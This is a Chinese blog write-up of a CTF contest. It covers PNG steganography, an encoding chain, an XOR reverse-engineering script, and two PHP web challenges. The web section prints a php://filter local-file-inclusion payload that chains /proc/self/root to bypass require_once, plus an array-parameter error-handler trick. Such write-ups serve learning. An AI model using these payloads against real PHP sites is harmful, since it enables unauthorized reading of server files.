记一次CTF解题过程

记一次CTF解题过程

五月 26, 2022

记一次CTF解题过程

最近参加了一场CTF比赛,侥幸做出了几道题,想着记录一下于是就有了这篇博客

MISC

Pngenius

题目文件下载

解题思路

下载完发现是一个png后缀的文件,猜测可能是png图片隐写,于是使用Stegsolve打开文件

一顿操作并没有什么收获,应该是思路跑偏了,此时使用WinHex查看文件信息

发现了flag.txt字段,猜测应该是png文件内隐藏了其他类型的文件

打开kali使用binwalk发现存在一个压缩包文件,使用-e参数做文件分离

切到分离文件的内部发现flag.txt,使用cat命令查看文件内容为空,尝试解压压缩包发现需要输入密码

应该是还有其他的信息藏在png文件中没获取到,继续使用kali zsteg工具获取png文件中的隐写信息

发现了一个zip文件的password,将密码复制过去解压先前提取出来的zip提示重写flag.txt文件,成功获取到flag

EasyEncode

题目文件下载

解题思路

下载完文件发现是一个压缩包,尝试解压文件提示输入密码

这里使用在线爆破zip网站对压缩包文件进行解压,得到密码

将密码复制过去解压得到了一个txt文件,查看文件内容发现是一串摩斯密码

把摩斯密码拿去解密得到一串字符,经高人指点每隔两位添加一个%即为URL编码

对编辑后的URL内容进行解码后得到Unicode编码的字符串,再次进行Unicode解码得到Base64编码的数据

%3D对应的是Base64中的=符号,经过Base64解码后得到flag

WEB

phpdest

源代码

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}

此题为PHP代码审计,第一想法是使用伪协议去读flag文件但是失败了,解题过程为百度搜索的结果

原作解题思路

解题payload

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

EasyPHP

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!

个人思路是通过传递ctf参数拼接$fl4g变量后影响服务器时间判断从而获取flag,经过多次尝试失败后经高人指点思路有误,正确做法应该是通过传递ctf参数去执行预先设定好的异常处理函数,本题payload采用的是传递一个字符串转列表出错从而执行set_error_handler函数,$_POST在接收参数后面有[]时代表参数为列表

解题payload

1
ctf[]=aaa

REVERSE

simpleXOR

题目文件下载

下载后发现是个二进制文件,拿到kali中尝试运行,运行需要输入flag,随手试了一下发现不行

先查一下壳,然后准备使用IDA进行静态分析

发现就是一个普通的二进制文件,直接用IDA打开,打开后按F5快捷键转换成伪代码

分析代码得知是将输入的信息与v7进行异或运算,result_0应该是一串硬编码的数据,双击跟进到result_0内部

将result_0转换为16进制的数据,将改串数据拿去与v7进行异或运算

Python编写的逆向算法

1
2
3
4
5
6
v7 = 247
test = [0xb3,0x91,0x82, 0x80, 0xc3, 0x9b, 0x0ce, 0x75, 0xcf, 0x9c,0x9a, 0x85, 0x85,0xcd,0xB8,0x84,0xaa,0x7d,0xbd,0xbb,0xb1,0xb5,0x96,0x71,0x8d,0x9e,0x86,0x0bf,0x73,0xa8,0xa3,0x9c,0x83,0x65,0x9e,0x57]
result = ""
for i in range(36):
result+=chr((v7^(test[i]))-i)
print(result)

运行脚本后得到最终的flag

总结

越是参加比赛,越是感觉到自身能力的不足,永远不能停止学习